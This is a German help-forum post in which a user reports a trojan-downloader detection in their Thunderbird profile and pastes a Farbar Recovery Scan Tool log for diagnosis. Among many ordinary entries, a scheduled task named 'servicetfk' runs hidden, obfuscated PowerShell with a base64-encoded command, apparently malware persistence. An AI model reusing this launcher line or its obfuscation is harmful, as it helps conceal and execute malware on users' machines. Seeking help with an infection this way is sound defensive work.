| |
| |||||||
Log-Analyse und Auswertung: Eset online scanner findet "VBA/TrojanDownloader.Agent.LHO trojan" in Thunderbird ProfilWindows 7 Wenn Du Dir einen Trojaner eingefangen hast oder ständig Viren Warnungen bekommst, kannst Du hier die Logs unserer Diagnose Tools zwecks Auswertung durch unsere Experten posten. Um Viren und Trojaner entfernen zu können, muss das infizierte System zuerst untersucht werden: Erste Schritte zur Hilfe. Beachte dass ein infiziertes System nicht vertrauenswürdig ist und bis zur vollständigen Entfernung der Malware nicht verwendet werden sollte.XML. |
 |
Heute, 18:48
| #1 |
| |  Eset online scanner findet "VBA/TrojanDownloader.Agent.LHO trojan" in Thunderbird Profil PC und Internet ist bei mir manchmal richtig träge und es dauert bis ich weiter arbeiten kann. Habe dann den Eset Online Scanner einmal laufen lassen, der mir mehrere trojaner nannte. Kann sie nun nicht alle entfernen bzw. weiß nicht ob es ein Problem ist. Speziell innerhalb meiner Thunderbird Profile ist der im Titel genannte Trojaner enthalten. Wäre Klasse wenn Ihr mir weiterhelfen könntet. Code:
ATTFilter Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 18-10-2026 01
durchgeführt von Cheffe (Administrator) auf OFFICE-PC (Micro-Star International Co., Ltd. MS-7C37) (18-10-2026 17:52:12)
Gestartet von C:\Users\Cheffe\Downloads\FRST64.exe
Geladene Profile: Cheffe
Plattform: Microsoft Windows 11 Pro Version 26H2 26300.9711 (X64) Sprache: Deutsch (Deutschland)
Standard-Browser: FF
Start-Modus: Normal
==================== Prozesse (Nicht auf der Ausnahmeliste) =================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)
(Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\RadeonSoftware.exe
(A-Volute SAS -> A-Volute) C:\Windows\System32\NhNotifSys.exe
(C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe ->) (Oracle America, Inc. -> Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe
(C:\Program Files (x86)\epson\MyEpson Portal\mepService.exe ->) (SEIKO EPSON CORPORATION -> Seiko Epson Corporation) C:\Program Files (x86)\epson\MyEpson Portal\mep.exe
(C:\Program Files\AMD\CNext\CNext\AMDRSServ.exe ->) (Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\amdow.exe
(C:\Program Files\AMD\CNext\CNext\AMDRSServ.exe ->) (Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\AMDRSSrcExt.exe
(C:\Program Files\AMD\CNext\CNext\RadeonSoftware.exe ->) (Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\cncmd.exe
(C:\Program Files\Corsair\Corsair iCUE5 Software\CorsairCpuIdService.exe ->) (Corsair Memory, Inc. -> ) C:\Program Files\Corsair\Corsair iCUE5 Software\crashpad_handler.exe
(C:\Program Files\Corsair\Corsair iCUE5 Software\iCUE.exe ->) (Corsair Memory, Inc. -> ) C:\Program Files\Corsair\Corsair iCUE5 Software\crashpad_handler.exe
(C:\Program Files\Corsair\Corsair iCUE5 Software\iCUEUpdateService.exe ->) (Corsair Memory, Inc. -> ) C:\Program Files\Corsair\Corsair iCUE5 Software\crashpad_handler.exe
(C:\Program Files\Mozilla Firefox\firefox.exe ->) (Mozilla Corporation -> Mozilla Foundation) C:\Program Files\Mozilla Firefox\crashhelper.exe
(C:\Program Files\TeamViewer\TeamViewer_Service.exe ->) (TeamViewer Germany GmbH -> ) C:\Program Files\TeamViewer\crashpad_handler.exe
(C:\Program Files\Tobii\Tobii EyeX\Tobii.Service.exe ->) (Tobii AB -> Tobii AB) C:\Program Files\Tobii\Tobii EyeX\Tobii.EyeX.Engine.exe
(C:\Program Files\Tobii\Tobii EyeX\Tobii.Service.exe ->) (Tobii AB -> Tobii AB) C:\Program Files\Tobii\Tobii EyeX\Tobii.EyeX.Interaction.exe
(C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_19.2610.35011.0_x64__8wekyb3d8bbwe\M365Copilot.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft\EdgeWebView\Application\155.0.4283.62\msedgewebview2.exe
(C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26090.9-0\MsMpEng.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26090.9-0\DefenderSessionHelper.exe
(cmd.exe ->) (Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\AMDRSServ.exe
(Corsair Memory, Inc. -> Corsair Memory, Inc.) C:\Program Files\Corsair\Corsair iCUE5 Software\iCUE.exe
(DriverStore\FileRepository\u0203303.inf_amd64_e5876a26758f154c\B026363\atiesrxx.exe ->) (Advanced Micro Devices -> AMD) C:\Windows\System32\DriverStore\FileRepository\u0203303.inf_amd64_e5876a26758f154c\B026363\atieclxx.exe
(explorer.exe ->) (eVenture Limited -> eVenture Limited) C:\Program Files (x86)\hide.me VPN\Hide.me.exe
(explorer.exe ->) (Geek Software GmbH -> geek software GmbH) C:\Program Files\PDF24\pdf24.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft\EdgeWebView\Application\155.0.4283.62\msedgewebview2.exe <10>
(Microsoft Corporation -> Microsoft Corporation) C:\Windows\System32\GameInputSvc.exe
(Microsoft Corporation -> Windows (R) Win 7 DDK provider) C:\Program Files\Microsoft GameInput\x64\GameInputRedistService.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\cmd.exe
(Mozilla Corporation -> Mozilla Corporation) C:\Program Files\Mozilla Firefox\firefox.exe <17>
(Oracle America, Inc. -> Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe
(services.exe ->) (Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Windows\System32\DriverStore\FileRepository\amdfendr.inf_amd64_bea53a1d416fbcfa\amdfendrsr.exe
(services.exe ->) (Advanced Micro Devices -> AMD) C:\Windows\System32\DriverStore\FileRepository\u0203303.inf_amd64_e5876a26758f154c\B026363\atiesrxx.exe
(services.exe ->) (A-Volute SAS -> Nahimic) C:\Windows\System32\NahimicService.exe
(services.exe ->) (Buhl Data Service GmbH -> Buhl Data Service GmbH) C:\Program Files (x86)\Buhl\WISO Mein Geld 2025\Buhl.MeinGeld.UpdateService.exe
(services.exe ->) (Corsair Memory, Inc. -> Corsair Memory, Inc.) C:\Program Files\Corsair\Corsair iCUE5 Software\CorsairCpuIdService.exe
(services.exe ->) (Corsair Memory, Inc. -> Corsair Memory, Inc.) C:\Program Files\Corsair\Corsair iCUE5 Software\iCUEUpdateService.exe
(services.exe ->) (Dropbox, Inc -> Dropbox, Inc.) C:\Windows\System32\DbxSvc.exe
(services.exe ->) (eVenture Limited -> eVenture Limited) C:\Program Files (x86)\hide.me VPN\hidemesvc.exe
(services.exe ->) (Geek Software GmbH -> geek software GmbH) C:\Program Files\PDF24\pdf24.exe
(services.exe ->) (Guillemot Corporation S.A. -> Guillemot Corporation) C:\Program Files (x86)\Thrustmaster\TARGET\TmService.exe
(services.exe ->) (Guillemot Recherche et Développement, Inc -> Thrustmaster®) C:\Program Files\Thrustmaster\Hotas Warthog\drivers\amd64\tmAInstall.exe
(services.exe ->) (Logitech Inc -> ) C:\Program Files (x86)\Logitech\LogiSyncStub\LogiSyncStub.exe
(services.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Windows\System32\GameInputSvc.exe
(services.exe ->) (Microsoft Corporation -> Windows (R) Win 7 DDK provider) C:\Program Files\Microsoft GameInput\x64\GameInputRedistService.exe
(services.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26090.9-0\MpDefenderCoreService.exe
(services.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26090.9-0\MsMpEng.exe
(services.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26090.9-0\NisSrv.exe
(services.exe ->) (SEIKO EPSON CORPORATION -> Seiko Epson Corporation) C:\Program Files (x86)\epson\Epson Printer Driver Security Support Tool\EpSecuritySupport.exe
(services.exe ->) (SEIKO EPSON CORPORATION -> Seiko Epson Corporation) C:\Program Files (x86)\epson\MyEpson Portal\mepService.exe
(services.exe ->) (SEIKO EPSON CORPORATION -> Seiko Epson Corporation) C:\Windows\System32\escsvc64.exe
(services.exe ->) (Synology Inc. -> ) C:\Program Files (x86)\Synology\Assistant\UsbClientService.exe
(services.exe ->) (Synology Inc. -> ) C:\Program Files\Synology\SynologyDrive\bin\vss-service-x64.exe
(services.exe ->) (TeamViewer Germany GmbH -> TeamViewer Germany GmbH) C:\Program Files\TeamViewer\TeamViewer_Service.exe
(services.exe ->) (Tobii AB -> ) C:\Windows\System32\DriverStore\FileRepository\eyetracker5.inf_amd64_a62d02618eb4f265\platform_runtime_IS5LEYETRACKER5_service.exe
(services.exe ->) (Tobii AB -> Tobii AB) C:\Program Files\Tobii\Tobii EyeX\Tobii.Service.exe
(services.exe ->) (Tobii AB -> Tobii AB) C:\Windows\System32\DriverStore\FileRepository\tobii_generic.inf_amd64_c21b62cacea99033\TobiiVirtualDevice.exe
(services.exe ->) (WireGuard LLC -> WireGuard LLC) C:\Program Files\WireGuard\wireguard.exe
(sihost.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_19.2610.35011.0_x64__8wekyb3d8bbwe\M365Copilot.exe
(svchost.exe ->) (ESET, spol. s r.o. -> ESET) C:\Users\ralf\AppData\Local\ESET\ESETOnlineScanner\ESETOnlineScanner_nt64.exe
(svchost.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.302.5.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\dllhost.exe
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\smartscreen.exe
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy\CHXSmartScreen.exe
(WireGuard LLC -> WireGuard LLC) C:\Program Files\WireGuard\wireguard.exe
==================== Registry (Nicht auf der Ausnahmeliste) ===================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)
HKLM\...\Run: [Logitech Download Assistant] => C:\Windows\system32\rundll32.exe C:\Windows\System32\LogiLDA.dll,LogiFetch [3831808 2021-08-30] (Microsoft Windows Hardware Compatibility Publisher -> Logitech)
HKLM\...\Run: [PDF24] => C:\Program Files\PDF24\pdf24.exe [641752 2025-01-13] (Geek Software GmbH -> geek software GmbH)
HKLM\...\Run: [LogiOptions] => C:\Program Files\Logitech\LogiOptions\LogiOptions.exe [1792392 2025-02-18] (Logitech Inc -> Logitech, Inc.)
HKLM\...\Run: [EPPCCMON] => C:\Program Files (x86)\EPSON Software\Epson Printer Connection Checker\EPPCCMON.EXE [466760 2025-11-28] (SEIKO EPSON CORPORATION -> Seiko Epson Corporation)
HKLM\...\Run: [Corsair iCUE5 Software] => C:\Program Files\Corsair\Corsair iCUE5 Software\iCUE Launcher.exe [195224 2026-10-13] (Corsair Memory, Inc. -> Corsair Memory, Inc.)
HKLM-x32\...\Run: [EEventManager] => C:\Program Files (x86)\Epson Software\Event Manager\EEventManager.exe [2765952 2024-10-01] (SEIKO EPSON CORPORATION -> Seiko Epson Corporation)
HKLM-x32\...\Run: [Dropbox] => C:\Program Files (x86)\Dropbox\Client\Dropbox.exe [211049408 2026-10-13] (Dropbox, Inc -> Dropbox, Inc.)
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [752208 2025-06-27] (Oracle America, Inc. -> Oracle Corporation)
HKLM\...\RunServicesOnce: [WISO Finanz Update] => C:\ProgramData\Buhl Data Service GmbH\WISO Mein Geld 2025 Professional\Download\WISOFinanz2025Update_30.3.1.144.exe "/Silent" "/InstallDir=C:\Program Files (x86)\Buhl\WISO Mein Geld 2025" "/ProjectNam (Der Dateneintrag hat 54 weitere Zeichen). (Keine Datei)
HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\Run: [Tobii GameHub] => C:\Users\ralf\AppData\Local\TobiiGameHub\update.exe [3056360 2026-09-11] (Tobii AB -> Velopack)
HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\Run: [EPLTarget\P0000000000000000] => C:\WINDOWS\system32\spool\DRIVERS\x64\3\E_YATIVFE.EXE [416896 2017-09-22] (SEIKO EPSON CORPORATION -> Seiko Epson Corporation)
HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\Run: [Synology Image Assistant] => C:\Program Files\Synology\Synology Image Assistant\Synology Image Assistant.exe [176705752 2025-01-13] (Synology Inc. -> Synology Inc.)
HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\Run: [EPSDNMON] => "" (Keine Datei)
HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\Run: [Stream Deck] => C:\Program Files\Elgato\StreamDeck\StreamDeck.exe [26630624 2025-10-13] (Corsair Memory, Inc. -> Corsair Memory, Inc.)
HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\Run: [Volume Controller SD plugin] => C:\Program Files\Elgato\Volume Controller\ElgatoAudioControlServerWatcher.exe [336264 2025-05-20] (Corsair Memory, Inc. -> )
HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\Run: [EPLTarget\P0000000000000001] => C:\WINDOWS\system32\spool\DRIVERS\x64\3\E_YATIVFE.EXE [416896 2017-09-22] (SEIKO EPSON CORPORATION -> Seiko Epson Corporation)
HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\Run: [CiscoMeetingDaemon] => C:\Users\ralf\AppData\Local\WebEx\WebexHost.exe [7355104 2026-03-06] (Cisco WebEx LLC -> Cisco Webex LLC)
HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\Run: [Enpass] => C:\Program Files\Enpass\Enpass.exe [101209056 2026-07-22] (Enpass Technologies Inc. -> Enpass Technologies Inc.)
HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\Run: [MicrosoftEdgeAutoLaunch_2D2FB39371B311A0BB6A4C2028148FDF] => "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start [5438320 2026-10-16] (Microsoft Corporation -> Microsoft Corporation)
HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\MountPoints2: {110bbcd8-ba6a-11ef-b2e3-4074e0faa9d2} - "F:\DTVP_Launcher.exe"
HKU\S-1-5-21-3650103575-3285462358-2630303384-1002\...\Run: [AMDNoiseSuppression] => C:\WINDOWS\system32\AMD\ANR\AMDNoiseSuppression.exe [418344 2026-03-06] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
HKU\S-1-5-21-3650103575-3285462358-2630303384-1002\...\Run: [EPSDNMON] => "" (Keine Datei)
HKU\S-1-5-18\...\Run: [AMDNoiseSuppression] => C:\WINDOWS\system32\AMD\ANR\AMDNoiseSuppression.exe [418344 2026-03-06] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
HKU\S-1-5-18\...\RunOnce: [StartRSX] => C:\Program Files\AMD\CNext\CNext\LauncherRSXRuntime.exe [73480 2026-08-08] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
HKLM\...\Print\Monitors\EPSON XP-7100 Series 64MonitorBE: C:\WINDOWS\system32\E_YLMBVFE.DLL [187392 2018-06-15] (Microsoft Windows Hardware Compatibility Publisher -> Seiko Epson Corporation)
HKLM\...\Print\Monitors\EpsonNet Print Port: C:\WINDOWS\system32\enppmon.dll [3182776 2025-02-20] (SEIKO EPSON CORPORATION -> Seiko Epson Corporation)
HKLM\Software\Microsoft\Active Setup\Installed Components: [{49210152-871f-4ffa-961d-a172abcbc09d}] -> C:\Program Files\Google\Chrome\Application\PlatformExperienceHelper\platform_experience_helper.exe [4924568 2026-08-11] (Google LLC -> Google LLC)
HKLM\Software\Microsoft\Active Setup\Installed Components: [{8A69D345-D564-463c-AFF1-A69D9E530F96}] -> C:\Program Files\Google\Chrome\Application\155.0.8059.82\Installer\chrmstp.exe [8447640 2026-10-16] (Google LLC -> Google LLC)
HKLM\Software\Microsoft\Active Setup\Installed Components: [{AFE6A462-C574-4B8A-AF43-4CC60DF4563B}] -> C:\Program Files\BraveSoftware\Brave-Browser\Application\155.1.97.59\Installer\chrmstp.exe [7736912 2026-10-16] (Brave Software, Inc. -> Brave Software, Inc.)
Startup: C:\Users\Cheffe\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hide.me VPN.lnk [2026-10-18]
ShortcutTarget: hide.me VPN.lnk -> C:\Program Files (x86)\hide.me VPN\Hide.me.exe (eVenture Limited -> eVenture Limited)
==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
Task: {AFABA092-5DFC-44DD-8DA0-F3B55C7CDB72} - System32\Tasks\AMD Install Manager - Check For Updates => C:\Program Files\AMD\AMDInstallManager\AMDInstallManager.exe [61438224 2026-09-29] (Advanced Micro Devices -> Advanced Micro Devices, Inc.) -> C:\Program Files\AMD\AMDInstallManager\\-CheckForUpdates
Task: {CC131F7D-756E-4D7B-8AD9-5CF63B368E9F} - System32\Tasks\AMD Install Manager - Install Updates => C:\Program Files\AMD\AMDInstallManager\AMDInstallManager.exe [61438224 2026-09-29] (Advanced Micro Devices -> Advanced Micro Devices, Inc.) -> C:\Program Files\AMD\AMDInstallManager\\-InstallUpdates -Auto
Task: {C9082879-FB63-425D-A6FB-5D62CDF0BE23} - System32\Tasks\AMDInstallLauncher => C:\Program Files\AMD\CIM\Bin64\InstallManagerApp.exe [1041168 2026-08-08] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
Task: {4B0069D8-92F7-45C9-A2F8-47133C0BC73B} - System32\Tasks\AMDRyzenMasterSDKTask => C:\Program Files\AMD\CNext\CNext\cpumetricsserver.exe [191240 2026-08-08] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
Task: {1B585EFC-4AA1-4AE9-B4F3-B64EA96C9376} - System32\Tasks\atkexComSvc => C:\ProgramData\atkex\CybBeac64.exe [5812216 2025-09-20] (Comodo Security Solutions Inc. -> COMODO)
Task: {DF78B9BC-4C17-43E0-B023-19ECA4311EDE} - System32\Tasks\BraveSoftwareUpdateTaskMachineCore{D8867C66-36BC-4F32-8C10-E00D403AB03B} => C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe [167440 2025-06-02] (Brave Software, Inc. -> BraveSoftware Inc.)
Task: {210E751E-7498-4F5D-B5D0-0289FFC96097} - System32\Tasks\BraveSoftwareUpdateTaskMachineUA{703A9BE5-8FC1-4C88-9142-972007308BBF} => C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe [167440 2025-06-02] (Brave Software, Inc. -> BraveSoftware Inc.)
Task: {5CECE8B2-EA49-46E4-A1C0-E2DF5BB40738} - System32\Tasks\DropboxSystem\DropboxUpdater\DropboxUpdaterTaskSystem123.0.6299.152{D371DFD4-E8D6-4681-BAD6-94B4D2081055} => C:\Program Files\Dropbox\DropboxUpdater\123.0.6299.152\updater.exe [5898168 2026-06-24] (Dropbox, Inc -> Dropbox, Inc.)
Task: {7E4AF656-CEA3-4C25-9D6D-E04BBFAA8872} - System32\Tasks\EOSv3 Scheduler onLogOn => C:\Users\ralf\AppData\Local\ESET\ESETOnlineScanner\ESETOnlineScanner_nt64.exe [16359344 2026-09-25] (ESET, spol. s r.o. -> ESET)
Task: {034AD0DB-6455-4CB7-BFD1-0F9CF9A16C4D} - System32\Tasks\EOSv3 Scheduler onTime => C:\Users\ralf\AppData\Local\ESET\ESETOnlineScanner\ESETOnlineScanner_nt64.exe [16359344 2026-09-25] (ESET, spol. s r.o. -> ESET)
Task: {3CAF2FFC-FC0D-431B-89A1-E17C95A4B51F} - System32\Tasks\EPSON XP-7100 Series Update {657F7A51-4F37-46AA-8C95-DA282996C0A6} => C:\Windows\System32\spool\drivers\x64\3\E_YTSVFE.EXE [680440 2017-06-07] (SEIKO EPSON CORPORATION -> Seiko Epson Corporation)
Task: {F61D3957-D55D-43D8-8B0C-5C66EE377DEA} - System32\Tasks\EPSON XP-7100 Series Update {F9679DAD-D172-4348-BA7C-2582CCC507D3} => C:\Windows\System32\spool\drivers\x64\3\E_YTSVFE.EXE [680440 2017-06-07] (SEIKO EPSON CORPORATION -> Seiko Epson Corporation)
Task: {B2E22667-EF57-4A38-9B8B-BC79B7B70683} - System32\Tasks\GarminUpdaterTask => C:\Program Files (x86)\Garmin\Express SelfUpdater\ExpressSelfUpdater.exe [31056 2025-08-08] (Garmin International, Inc. -> )
Task: {67FA531D-60C3-4256-AB9E-BCAD64F3ECD1} - System32\Tasks\GoogleSystem\GoogleUpdater\GoogleUpdaterTaskSystem157.0.8089.0{D9508E6E-203D-48F6-B4E2-5395E0CB13C5} => C:\Program Files (x86)\Google\GoogleUpdater\157.0.8089.0\updater.exe [9958552 2026-10-06] (Google LLC -> Google LLC)
Task: {DCA4DA3D-026F-4825-8A70-F14B0B331797} - System32\Tasks\GoogleUserPEH\RunPlatformExperienceHelper_Daily => C:\Program Files\Google\Chrome\Application\PlatformExperienceHelper\platform_experience_helper.exe [4924568 2026-08-11] (Google LLC -> Google LLC)
Task: {2A68620C-8F0F-4A27-9181-EE3361791051} - System32\Tasks\GoogleUserPEH\RunPlatformExperienceHelper_Metrics => C:\Program Files\Google\Chrome\Application\PlatformExperienceHelper\platform_experience_helper.exe [4924568 2026-08-11] (Google LLC -> Google LLC)
Task: {4BCDDC99-2DCC-49A5-91BF-E24B87417440} - System32\Tasks\GoogleUserPEH\RunPlatformExperienceHelperOnUnlock => C:\Program Files\Google\Chrome\Application\PlatformExperienceHelper\platform_experience_helper.exe [4924568 2026-08-11] (Google LLC -> Google LLC)
Task: {F3E6E7ED-A196-4E44-8803-55FAB3AD4E29} - System32\Tasks\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker => %systemroot%\system32\MusNotification.exe (Keine Datei)
Task: {E28C6476-70CE-4AC1-AEAA-7CC7538DBEDD} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26090.9-0\MpCmdRun.exe [1952424 2026-10-14] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {93739220-FBBD-4DCD-BFDD-82E4AD816585} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cleanup => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26090.9-0\MpCmdRun.exe [1952424 2026-10-14] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {F96FA027-7AB3-469D-BE65-0B528EC65A74} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26090.9-0\MpCmdRun.exe [1952424 2026-10-14] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {11CD7274-B9AE-4AFF-849C-60A32B729F4A} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Verification => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26090.9-0\MpCmdRun.exe [1952424 2026-10-14] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {C62EE55C-32AF-48DD-AF63-3BB8AEE62A86} - System32\Tasks\ModifyLinkUpdate => C:\Program Files\AMD\CIM\Bin64\InstallManagerApp.exe [1041168 2026-08-08] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
Task: {E61D0E80-343B-436A-86C0-6C00E1F38924} - System32\Tasks\Mozilla\Firefox Background Update S-1-5-21-3650103575-3285462358-2630303384-1001 308046B0AF4A39CB => C:\Program Files\Mozilla Firefox\firefox.exe [1079936 2026-10-14] (Mozilla Corporation -> Mozilla Corporation) -> C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\--MOZ_LOG sync,prependheader,timestamp,append,maxsize:1,Dump:5 --MOZ_LOG_FILE C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\backgroundupdate.moz_log --backgroundtask background (Der Dateneintrag hat 6 weitere Zeichen).
Task: {61BDBFEA-3F59-4014-A2DB-E80C5CCC2014} - System32\Tasks\Mozilla\Firefox Background Update S-1-5-21-3650103575-3285462358-2630303384-1002 308046B0AF4A39CB => C:\Program Files\Mozilla Firefox\firefox.exe [1079936 2026-10-14] (Mozilla Corporation -> Mozilla Corporation) -> C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\--MOZ_LOG sync,prependheader,timestamp,append,maxsize:1,Dump:5 --MOZ_LOG_FILE C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\backgroundupdate.moz_log --backgroundtask background (Der Dateneintrag hat 6 weitere Zeichen).
Task: {132A8645-AD82-4004-B8A8-08E7AA819DF0} - System32\Tasks\Mozilla\Firefox Default Browser Agent 308046B0AF4A39CB => C:\Program Files\Mozilla Firefox\default-browser-agent.exe [44160 2026-10-14] (Mozilla Corporation -> Mozilla Foundation)
Task: {2DECDD1E-E5E8-4FDA-ABAD-F6218E216CB7} - System32\Tasks\PrivaZer_SkipUAC => C:\Users\ralf\AppData\Local\PrivaZer installation\PrivaZer.exe [34975360 2026-07-10] (Goversoft LLC -> Goversoft LLC) -> C:\Users\ralf\AppData\Local\PrivaZer installation\\$(Arg0)
Task: {21DE7667-85F4-47EB-B9C3-1CFFB355389F} - System32\Tasks\servicetfk => C:\Windows\system32\WindowsPowerShell\v1.0\POWersHell.EXe [495616 2026-10-14] (Microsoft Windows -> Microsoft Corporation) -> -nopROfi -ExECUTIOnPO remoOTESiGnEd -WinDOWSTYl HiD -EN JABmAGEAOQAxAGIAPQBbAG0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAKABbAG0AYQB0AGgAXQA6ADoAUwBxAHIAdAAoADMANgA3AC4ANAAyACoANAAuADgAKQArAFsAbQBhAHQAaABdADoAOgBQAG8AdwAoADYALgAyADIALAAyACkAKQAvACgAWwBtAGEAdABoAF0AOgA6AEUAeABwACgAMwApACsAWwBtAGEAdABoAF0AOgA6 (Der Dateneintrag hat 2964 weitere Zeichen).
Task: {2AEE4BAF-CD38-4B68-BAF3-A9736780B814} - System32\Tasks\SoftLanding\S-1-5-21-3650103575-3285462358-2630303384-1001\SoftLandingRefreshForExpirationTask-{efb4e068-0666-46c4-8c4e-2a5ea756c214} => {F576B2F9-7850-4226-ADB0-E5993FED4F02}
Task: {76584B68-24F2-4EE2-94BE-611FCAAD0520} - System32\Tasks\StartCN => C:\Program Files\AMD\CNext\CNext\cncmd.exe [144656 2026-08-08] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
Task: {9675CC35-1817-4D8F-A29A-C81064BDF736} - System32\Tasks\StartDVR => C:\Program Files\AMD\CNext\CNext\RSServCmd.exe [310024 2026-08-08] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)
Task: C:\WINDOWS\Tasks\EPSON XP-7100 Series Update {657F7A51-4F37-46AA-8C95-DA282996C0A6}.job => C:\WINDOWS\system32\spool\DRIVERS\x64\3\E_YTSVFE.EXE:/EXE:{657F7A51-4F37-46AA-8C95-DA282996C0A6} /F:UpdateWORKGROUP\OFFICE-PC$ĊSearches for EPSON software updates, and notifies you when updates are available.If this task is disabled or stopped, your EPSON software will not be automatically kept up to date.Thi
Task: C:\WINDOWS\Tasks\EPSON XP-7100 Series Update {F9679DAD-D172-4348-BA7C-2582CCC507D3}.job => C:\WINDOWS\system32\spool\DRIVERS\x64\3\E_YTSVFE.EXE:/EXE:{F9679DAD-D172-4348-BA7C-2582CCC507D3} /F:UpdateWORKGROUP\OFFICE-PC$ĊSearches for EPSON software updates, and notifies you when updates are available.If this task is disabled or stopped, your EPSON software will not be automatically kept up to date.Thi
==================== Internet (Nicht auf der Ausnahmeliste) ====================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)
Tcpip\Parameters: [DhcpNameServer] 192.168.178.1
Tcpip\..\Interfaces\{d981662c-24cb-443b-acb7-389da4ef0242}: [DhcpNameServer] 192.168.178.1
Tcpip\..\Interfaces\{d981662c-24cb-443b-acb7-389da4ef0242}: [DhcpDomain] fritz.box
Tcpip\..\Interfaces\{fb191262-8017-4a6f-be5e-44ba570770fd}: [DhcpNameServer] 192.168.178.1
Tcpip\..\Interfaces\{fb191262-8017-4a6f-be5e-44ba570770fd}: [DhcpDomain] fritz.box
FireFox:
========
FF TaskBarID: 308046B0AF4A39CB -> C:\Program Files\Mozilla Firefox
